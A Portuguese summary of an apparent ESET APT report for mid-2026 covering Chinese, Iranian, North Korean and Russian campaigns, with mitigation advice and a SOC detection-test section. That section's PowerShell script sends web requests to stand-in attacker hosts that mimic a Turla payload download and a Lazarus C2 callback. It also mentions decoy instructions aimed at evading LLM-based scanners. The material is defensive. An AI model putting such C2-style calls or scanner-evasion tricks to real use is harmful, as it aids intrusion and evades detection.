Relatório de Atividades APT da ESET Q2–Q3 2026: Principais Campanhas e Tendências

Resumo

Este relatório descreve uma ampla gama de atividades de APT observadas entre abril e setembro de 2026. As principais tendências incluem grupos alinhados com a China visando organizações governamentais e de semicondutores, atividade renovada de atores alinhados com o Irã, como OilRig, e campanhas norte-coreanas focadas em tecnologia e criptomoeda. O relatório também observa crescente coordenação operacional entre grupos alinhados com a Rússia e com a Bielorrússia, particularmente contra alvos na Ucrânia.

Investigação

Pesquisadores da ESET analisaram a telemetria para rastrear múltiplos clusters de atores de ameaça em diferentes regiões. A investigação incluiu a identificação de novas famílias de malware, o exame de compromissos na cadeia de suprimentos de software e o monitoramento da adoção de ferramentas de IA nos fluxos de trabalho dos adversários. Os pesquisadores também analisaram padrões na infraestrutura, desenvolvimento de ferramentas e mudanças no comportamento de direcionamento.

Mitigação

As organizações devem fortalecer a segurança da cadeia de suprimentos de software e monitorar campanhas de engenharia social com temas de recrutamento. Proteger servidores de correio MDaemon contra exploração e proteger dispositivos Android de spyware baseado em impersonação também é importante. As equipes de segurança devem adicionalmente levar em conta técnicas de ofuscação geradas por IA ao analisar scripts e cargas úteis suspeitas.

Resposta

Quando atividade suspeita é detectada, as organizações devem conduzir uma análise forense detalhada de scripts, repositórios e software afetado. Os respondedores de incidentes devem considerar técnicas de ofuscação impulsionadas por IA, incluindo instruções de embuste projetadas para evadir scanners baseados em LLM. Comprometimentos potenciais na cadeia de suprimentos devem ser contidos e investigados imediatamente para evitar o roubo adicional de credenciais e acesso não autorizado.

Execução de Simulação

• Narrativa e Comandos do Ataque: O atacante simulado visa imitar os indicadores conhecidos do Turla e do Grupo Lazarus para testar se o SOC é capaz de detectar strings específicas e codificadas. Primeiro, o atacante simula uma solicitação de payload no estilo Turla tentando alcançar uma URL que contenha a string específica “VBScript Rezzuar do Turla”. Em segundo lugar, o atacante simula um callback de phishing temático de recrutamento do Grupo Lazarus enviando uma solicitação HTTP com uma string User-Agent altamente personalizada: “Recrutamento do Grupo Lazarus”. Isso imita o comportamento de um sistema comprometido comunicando-se com um C2 ou uma página de phishing especializada.

• Script de Teste de Regressão:

  # Simulação de TTP do Turla (correspondência de URL)
  Write-Host "[+] Simulando Indicador de URL do Turla..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Simulação de TTP do Lazarus (correspondência de User-Agent)
  Write-Host "[+] Simulando Indicador de User-Agent do Lazarus..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Recrutamento do Grupo Lazarus"

• Comandos de Limpeza:

  # Nenhum artefato persistente é criado pela simulação, pois usa solicitações web apenas em memória.
  Write-Host "[+] Simulação completa. Nenhuma limpeza necessária."